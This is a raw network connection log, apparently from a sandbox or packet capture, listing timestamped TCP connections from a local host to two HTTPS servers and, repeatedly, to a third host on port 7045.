Dec 17, 2024 03:53:08.603072882 CET	443	49957	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.603127956 CET	49957	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.603673935 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.603759050 CET	443	49966	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.603835106 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.604341984 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.604379892 CET	443	49966	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.613579035 CET	443	49956	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.613791943 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.614684105 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.614684105 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.614739895 CET	443	49956	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.615431070 CET	443	49956	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.615509033 CET	49956	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.615614891 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.615681887 CET	443	49967	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:08.615763903 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.616082907 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:08.616131067 CET	443	49967	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.347263098 CET	443	49965	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.347533941 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.348611116 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.348647118 CET	443	49965	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.348783970 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.349014997 CET	443	49965	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.349085093 CET	49965	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.349982023 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.350070000 CET	443	49968	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.350167036 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.350755930 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:09.350791931 CET	443	49968	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:09.429620981 CET	443	49963	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:09.429711103 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.430392981 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.430406094 CET	443	49963	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:09.430476904 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.430603027 CET	443	49963	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:09.430665970 CET	49963	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.431346893 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.431432009 CET	443	49969	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:09.431518078 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.431854010 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:09.431894064 CET	443	49969	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.076062918 CET	7045	49964	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:10.076553106 CET	49964	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:10.076986074 CET	49964	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:10.138777971 CET	443	49966	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.139009953 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.140072107 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.140072107 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.140129089 CET	443	49966	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.140569925 CET	443	49966	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.140630007 CET	49966	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.140860081 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.140922070 CET	443	49975	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.141007900 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.141472101 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.141509056 CET	443	49975	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.147953987 CET	443	49967	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.148066998 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.148688078 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.148720026 CET	443	49967	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.148766041 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.149116039 CET	443	49967	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.149193048 CET	49967	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.149436951 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.149525881 CET	443	49976	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.149607897 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.149976015 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.150010109 CET	443	49976	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.197186947 CET	7045	49964	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:10.829866886 CET	443	49969	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.830044031 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.831088066 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.831088066 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.831146002 CET	443	49969	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.831386089 CET	443	49969	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.831437111 CET	49969	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.831944942 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.832015991 CET	443	49977	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.832099915 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.832526922 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:10.832564116 CET	443	49977	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:10.883543968 CET	443	49968	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.883801937 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.884609938 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.884609938 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.884666920 CET	443	49968	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.885144949 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.885215998 CET	443	49978	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.885288000 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.885476112 CET	443	49968	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:10.885539055 CET	49968	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.885766983 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:10.885806084 CET	443	49978	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.377803087 CET	443	49975	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.377948046 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.378989935 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.379044056 CET	443	49975	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.379133940 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.379434109 CET	443	49975	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.379626036 CET	49975	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.380105019 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.380147934 CET	443	49979	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.380220890 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.380685091 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.380700111 CET	443	49979	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.384978056 CET	443	49976	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.385237932 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.385906935 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.385907888 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.385967016 CET	443	49976	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.386322975 CET	443	49976	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.386456966 CET	49976	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.386495113 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.386535883 CET	443	49980	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:11.386593103 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.386970997 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:11.386986017 CET	443	49980	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.210407972 CET	443	49977	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:12.210638046 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.211493015 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.211546898 CET	443	49977	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:12.211602926 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.211724997 CET	443	49977	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:12.211779118 CET	49977	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.212495089 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.212531090 CET	443	49986	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:12.212599039 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.213040113 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:12.213053942 CET	443	49986	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:12.419789076 CET	443	49978	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.419966936 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.421176910 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.421231031 CET	443	49978	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.421284914 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.421677113 CET	443	49978	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.421737909 CET	49978	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.422797918 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.422828913 CET	443	49987	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.422899961 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.423913002 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.423926115 CET	443	49987	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.593360901 CET	443	49979	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.593421936 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.594211102 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.594219923 CET	443	49979	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.594300985 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.594367981 CET	443	49979	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.594408035 CET	49979	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.595060110 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.595082998 CET	443	49988	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.595129967 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.595484972 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.595494986 CET	443	49988	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.598412991 CET	443	49980	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.598478079 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.599215031 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.599220037 CET	443	49980	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.599298000 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.599855900 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.599920988 CET	443	49989	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.599983931 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.600042105 CET	443	49980	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.600087881 CET	49980	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.600574017 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:12.600656033 CET	443	49989	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:12.779237032 CET	49990	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:12.899542093 CET	7045	49990	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:12.899682045 CET	49990	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:12.899909973 CET	49990	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:13.020405054 CET	7045	49990	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:13.588849068 CET	443	49986	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:13.588953018 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.590126038 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.590137959 CET	443	49986	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:13.590234041 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.590281963 CET	443	49986	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:13.590329885 CET	49986	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.591305017 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.591344118 CET	443	49991	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:13.591414928 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.591890097 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:13.591902018 CET	443	49991	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:13.643538952 CET	443	49987	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.643659115 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.644450903 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.644457102 CET	443	49987	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.644578934 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.644840002 CET	443	49987	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.644893885 CET	49987	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.645442963 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.645534039 CET	443	49992	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.645634890 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.646004915 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.646049976 CET	443	49992	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.808146000 CET	443	49988	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.808217049 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.809396982 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.809406042 CET	443	49988	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.809500933 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.810122013 CET	443	49988	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.810199022 CET	49988	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.810376883 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.810466051 CET	443	49993	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.810551882 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.811027050 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.811067104 CET	443	49993	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.813477993 CET	443	49989	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.813565969 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.814347982 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.814347982 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.814407110 CET	443	49989	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.814564943 CET	443	49989	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.814620018 CET	49989	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.815090895 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.815176964 CET	443	49994	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:13.815249920 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.815745115 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:13.815824986 CET	443	49994	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:14.650168896 CET	7045	49990	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:14.650257111 CET	49990	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:14.650374889 CET	49990	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:14.770561934 CET	7045	49990	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:14.977190018 CET	443	49991	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:14.977271080 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.978255987 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.978264093 CET	443	49991	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:14.978351116 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.978611946 CET	443	49991	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:14.978665113 CET	49991	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.979269981 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.979363918 CET	443	50000	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:14.979444027 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.980035067 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:14.980115891 CET	443	50000	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:15.023252964 CET	443	49994	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.023361921 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.024219990 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.024219990 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.024276018 CET	443	49994	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.024460077 CET	443	49994	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.024660110 CET	49994	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.024734974 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.024808884 CET	443	50001	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.024882078 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.025213003 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.025249004 CET	443	50001	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.103833914 CET	50002	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:15.186026096 CET	443	49992	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.186218977 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.187110901 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.187110901 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.187169075 CET	443	49992	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.187361002 CET	443	49992	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.187412024 CET	49992	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.187927961 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.187980890 CET	443	50003	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.188057899 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.188492060 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.188522100 CET	443	50003	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.224104881 CET	7045	50002	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:15.224183083 CET	50002	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:15.224483967 CET	50002	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:15.342144012 CET	443	49993	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.342308998 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.343266964 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.343301058 CET	443	49993	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.343393087 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.343909979 CET	443	49993	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.343982935 CET	49993	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.344376087 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.344465017 CET	443	50004	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:15.344582081 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.344712019 CET	7045	50002	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:15.347219944 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:15.347300053 CET	443	50004	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.243954897 CET	443	50001	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.244158030 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.245068073 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.245069027 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.245126009 CET	443	50001	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.245656967 CET	443	50001	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.245738983 CET	50001	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.246332884 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.246431112 CET	443	50005	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.246543884 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.246948957 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.246978998 CET	443	50005	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.363490105 CET	443	50000	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:16.363595963 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.364532948 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.364547014 CET	443	50000	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:16.364629030 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.364909887 CET	443	50000	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:16.364960909 CET	50000	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.365540981 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.365592957 CET	443	50006	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:16.365667105 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.366076946 CET	50006	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:53:16.366103888 CET	443	50006	140.82.121.3	192.168.2.4
Dec 17, 2024 03:53:16.716228962 CET	443	50003	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.716474056 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.717714071 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.717714071 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.717773914 CET	443	50003	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.718010902 CET	443	50003	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.718208075 CET	50003	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.718522072 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.718564987 CET	443	50012	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.718621969 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.719115973 CET	50012	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.719137907 CET	443	50012	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.878953934 CET	443	50004	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.879038095 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.880141973 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.880161047 CET	443	50004	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.880269051 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.880836010 CET	443	50004	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.880893946 CET	50004	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.881220102 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.881258011 CET	443	50013	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:16.881325960 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.881812096 CET	50013	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:16.881828070 CET	443	50013	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.280092955 CET	7045	50002	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:17.280261993 CET	50002	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:17.280364990 CET	50002	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:53:17.400202990 CET	7045	50002	46.246.82.66	192.168.2.4
Dec 17, 2024 03:53:17.459376097 CET	443	50005	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.459459066 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.460330009 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.460352898 CET	443	50005	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.460426092 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.461009026 CET	443	50005	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.461070061 CET	50005	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.461124897 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.461203098 CET	443	50014	199.232.192.209	192.168.2.4
Dec 17, 2024 03:53:17.461282969 CET	50014	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:53:17.461751938 CET	50014	443	192.168.2.4	199.232.192.209
